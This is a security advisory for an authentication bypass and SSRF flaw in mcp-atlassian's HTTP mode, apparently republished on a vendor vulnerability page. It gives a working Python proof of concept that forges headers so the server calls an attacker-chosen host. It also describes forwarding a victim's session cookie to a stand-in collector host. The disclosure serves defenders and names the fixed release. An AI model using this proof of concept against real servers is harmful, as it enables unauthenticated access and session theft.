GHSA-rh5v-38gg-q3jj: 
Python Analyse et atténuation de la vulnérabilité

Summary

When mcp-atlassian is run as an HTTP service (--transport streamable-http or sse — the documented multi-user / remote deployment mode, shipped with a Dockerfile and Helm chart), a network client that presents no Atlassian credentials can (1) bypass the transport authentication gate and (2) make the server issue credential-bearing HTTP requests to an attacker-chosen host (SSRF). An attacker supplies non-empty X-Atlassian-Jira-Url + X-Atlassian-Jira-Personal-Token header strings (values are never verified). UserTokenMiddleware then classifies the request as user_atlassian_auth_type = "pat", which satisfies the check whose purpose is to reject credential-less requests. Downstream, "Branch 1" of _get_fetcher builds a JiraFetcher/ConfluenceFetcher whose base URL is taken verbatim from that header and immediately issues GET <attacker-url>/rest/api/2/myself — followed by the actual tool call — to it. Unlike the sibling "external auth" code path, Branch 1 does not require MCP_ALLOWED_URL_DOMAINS, although that path and .env.example state it is mandatory "so trusted auth headers cannot be sent to an attacker-controlled public host." Impact by configuration (all on top of HTTP transport):

  • Stock config: unauthenticated auth-gate bypass + blind SSRF to arbitrary public hosts/ports from the server's network position.
  • *_PASSTHROUGH_HEADERS configured (standard for multi-user identity forwarding): the proxy-injected header (Cookie, X-Auth-Token, SSO assertion) is exfiltrated to the attacker host → session / identity takeover against the real Jira/Confluence.
  • MCP_ALLOWED_URL_DOMAINS configured (docs recommend it for per-request URLs): SSRF reaches internal-network hosts under the allowlisted domains, with DNS/private-IP checks skipped for them. Not exploitable in the default stdio transport (single-user / local IDE usage).

Details

Line numbers are against commit 9b66129 (post-0.23.1 main). 1. Authentication-gate bypass — src/mcp_atlassian/servers/main.py, UserTokenMiddleware._process_authentication_headers The URL header is SSRF-validated (lines ~624–638, validate_url_for_ssrf), which blocks localhost / private IPs / 169.254.169.254. It then does:


# ~686-694
if service_headers and (
    (jira_token_str and jira_url_str)
    or (confluence_token_str and confluence_url_str)
):
    scope["state"]["user_atlassian_auth_type"] = "pat"

The presence of two non-empty strings is treated as authentication — no token validation, no URL allowlist. That value short-circuits the transport gate that is meant to reject unauthenticated MCP requests:


# ~521-542
if (
    not ignore_header_auth
    and self.mcp_server_ref
    and self._should_process_auth(scope_copy)
    and not scope_copy["state"].get("user_atlassian_auth_type")   # now truthy -> gate skipped
    and self.mcp_server_ref.auth is None
    and not is_env_truthy("ALLOW_GLOBAL_CRED_FALLBACK")
):
    ...  # 401

2. SSRF — src/mcp_atlassian/servers/dependencies.py, _get_fetcher "Branch 1: header-based PAT" (~854–882)

if (
    user_auth_type == "pat"
    and url_header_val
    and token_header_val
    and not hasattr(request.state, "user_atlassian_token")
):
    header_config = spec.config_class(
        url=url_header_val,                 # attacker-controlled, NOT allowlist-checked
        auth_type="pat",
        personal_token=token_header_val,    # attacker-controlled
        **_get_header_pat_network_config(ctx, spec),
        custom_headers=None,
        passthrough_headers=get_header_names(spec.passthrough_env_var),  # still attached
        **spec.filter_kwargs,
    )
    return _create_and_validate(request, spec, header_config, "header_pat",
                                attach_ssrf_hook=True)

_create_and_validate (~479–563): merges configured passthrough headers from the current request into the fetcher session (_get_request_passthrough_headers, ~511–519), then calls spec.validate_fn(fetcher) (~548) -> get_current_user_account_id() / get_current_user_info() -> GET <url_header_val>/rest/api/2/myself with Authorization: Bearer <token_header_val> and the passthrough headers. The subsequent tool call is executed against the same attacker URL. 3. The control present in the sibling path but missing here — src/mcp_atlassian/servers/dependencies.py ~1010–1033

if not os.getenv("MCP_ALLOWED_URL_DOMAINS", "").strip():
    error_msg = (
        f"Dynamic {spec.name} URLs in external auth mode require "
        "MCP_ALLOWED_URL_DOMAINS to prevent passthrough credential exfiltration."
    )
    raise ValueError(error_msg)
ssrf_error = validate_url_for_ssrf(url_from_header)

.env.example ~118–122: "This option also requires MCP_ALLOWED_URL_DOMAINS so trusted auth headers cannot be sent to an attacker-controlled public host." The maintainers already recognise per-request URLs as dangerous and require an allowlist — the check is simply absent from Branch 1 and from the middleware gate. 4. Why the existing SSRF hardening does not close it

  • validate_url_for_ssrf + SsrfPinningAdapter block private/loopback/metadata IPs — not arbitrary public hosts. http://attacker.example resolves to a normal public IP and passes.
  • When MCP_ALLOWED_URL_DOMAINS is set, validate_url_for_ssrf returns early for any matching host, skipping the DNS/IP check entirely (utils/urls.py, allowlist branch), and SsrfPinningAdapter (utils/ssrf_adapter.py, _operator_trusted_hosts) exempts those hosts from the non-global-address rejection. Any *.<allowlisted-domain> name resolving to an internal IP is then reachable.
  • The auth-gate bypass is independent of every SSRF check. Suggested fix: in Branch 1 and in UserTokenMiddleware, reject the request unless MCP_ALLOWED_URL_DOMAINS is set and the header host matches it; re-run validate_url_for_ssrf(url_header_val) at fetcher-build time; do not treat unvalidated X-Atlassian-* header strings as satisfying the "authentication required" gate; do not attach *_PASSTHROUGH_HEADERS when the destination URL is caller-supplied.

PoC

Reproduced on commit 9b66129, Python 3.13. Reproduced independently on two machines. Server — stock config, HTTP transport (same process the published Docker image runs, ENTRYPOINT ["mcp-atlassian"]):

JIRA_URL=https://acme.atlassian.net \
JIRA_USERNAME=ops@acme.com \
JIRA_API_TOKEN=fake-operator-api-token \
uv run mcp-atlassian --transport streamable-http --host 127.0.0.1 --port 9000

No ALLOW_GLOBAL_CRED_FALLBACK, no OAuth proxy, no *_PASSTHROUGH_HEADERS, no MCP_ALLOWED_URL_DOMAINS. Attacker — no Atlassian credentials, no Authorization header (stdlib only):

import http.client, json
def post(body, sid=None):
    h = {"Content-Type": "application/json",
         "Accept": "application/json, text/event-stream",
         "X-Atlassian-Jira-Url": "http://example.com",       # attacker-chosen host
         "X-Atlassian-Jira-Personal-Token": "junk"}          # not a real token
    if sid:
        h["Mcp-Session-Id"] = sid
    c = http.client.HTTPConnection("127.0.0.1", 9000)
    c.request("POST", "/mcp", json.dumps(body), h)
    r = c.getresponse()
    return r.status, dict(r.getheaders()), r.read().decode()
st, hdrs, _ = post({"jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-06-18", "capabilities": {},
               "clientInfo": {"name": "poc", "version": "0"}}})
print("initialize ->", st)                      # 200 - no credentials supplied
sid = hdrs.get("Mcp-Session-Id")
post({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}, sid)
st, _, body = post({"jsonrpc": "2.0", "id": 2, "method": "tools/call",
    "params": {"name": "jira_search", "arguments": {"jql": "project = TEST"}}}, sid)
print(body)

Result:

initialize -> 200
Error calling tool 'search': Invalid header-based Jira token or configuration:
Unable to get current user account ID: 404 Client Error: Not Found for url:
http://example.com/rest/api/2/myself

The 404 and the "Example Domain" body are returned by example.com — the server connected out to the attacker-named host with no credentials presented. Server log:

INFO servers.dependencies - Creating header-based JiraFetcher with URL: http://example.com and PAT token
ERROR mcp-jira - HTTPError getting current user account ID: 404 Client Error: Not Found for url:
      http://example.com/rest/api/2/myself. Response: <!doctype html>...<title>Example Domain</title>...

Control: X-Atlassian-Jira-Url: http://169.254.169.254/latest/meta-data/ -> 401 Forbidden: Invalid Jira URL - Blocked IP address: 169.254.169.254 (non-global) (private/metadata still blocked on stock config). Escalation — credential exfiltration + internal SSRF. Restart the server with two additional, individually-documented settings:

JIRA_PASSTHROUGH_HEADERS=Cookie            # docs/configuration.mdx; .env.example uses "Cookie"
MCP_ALLOWED_URL_DOMAINS=collector.example  # .env.example:118-122 recommends this for per-request URLs

The attacker adds Cookie: session=<victim SSO session> (a header a trusted front proxy would inject) and sets X-Atlassian-Jira-Url: http://sink.collector.example. The server issues GET http://sink.collector.example/rest/api/2/myself and the real jira_search request to that host, each carrying Authorization: Bearer junk and Cookie: session=<victim SSO session>. The attacker-controlled host receives the victim's session credential.

Impact

  • Class: Server-Side Request Forgery (CWE-918) + Missing Authentication for a Critical Function (CWE-306); the SSRF is also a confused-deputy issue (CWE-441).
  • Who is impacted: operators running mcp-atlassian in HTTP transport (streamable-http / sse) — the documented multi-user / hosted / Kubernetes (Helm) / remote-MCP / multi-tenant deployment mode. Not impacted: default stdio single-user local usage.
  • Stock HTTP config: an unauthenticated network client (a) has its MCP requests processed despite the "authentication required" gate, and (b) makes the server emit outbound HTTP to arbitrary attacker-chosen public hosts/ports from its own network position — source-IP-allowlist bypass, blind request primitive, request/timing oracle.
  • HTTP config with *_PASSTHROUGH_HEADERS set (standard for multi-user identity forwarding): the proxy-injected header (Cookie, X-Auth-Token, SSO assertion) is exfiltrated to the attacker-chosen host -> session / identity takeover against the real Jira / Confluence.
  • HTTP config with MCP_ALLOWED_URL_DOMAINS set (docs recommend it for per-request URLs): SSRF reaches internal hosts under the allowlisted domains, with the DNS/private-IP check skipped for them.

Fix

Fixed in mcp-atlassian 0.24.1. Duplicate reports closed into this advisory: GHSA-qc29-wxwq-f3vr, GHSA-6q9m-223p-hqvr. Their reporters are credited here.


Source: NVD

Connexe Python Vulnérabilités :

CVE ID

Gravité

Partition

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

GHSA-xv8h-26ch-vfh9HIGH8.1
  • Python logoPython
  • mcp-atlassian
NonOuiNov 08, 2026
GHSA-rh5v-38gg-q3jjHIGH7.2
  • Python logoPython
  • mcp-atlassian
NonOuiNov 08, 2026
GHSA-rwqj-c54w-32jrLOW3.3
  • Python logoPython
  • mcp-atlassian
NonOuiNov 08, 2026
GHSA-gg2v-v5mp-jx42LOW3.1
  • Python logoPython
  • djust
NonOuiNov 08, 2026
GHSA-8ffx-6c2g-75ccLOWN/A
  • Python logoPython
  • mcp-atlassian
NonOuiNov 08, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.

Évaluation de la demande

Ressources Wiz supplémentaires

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités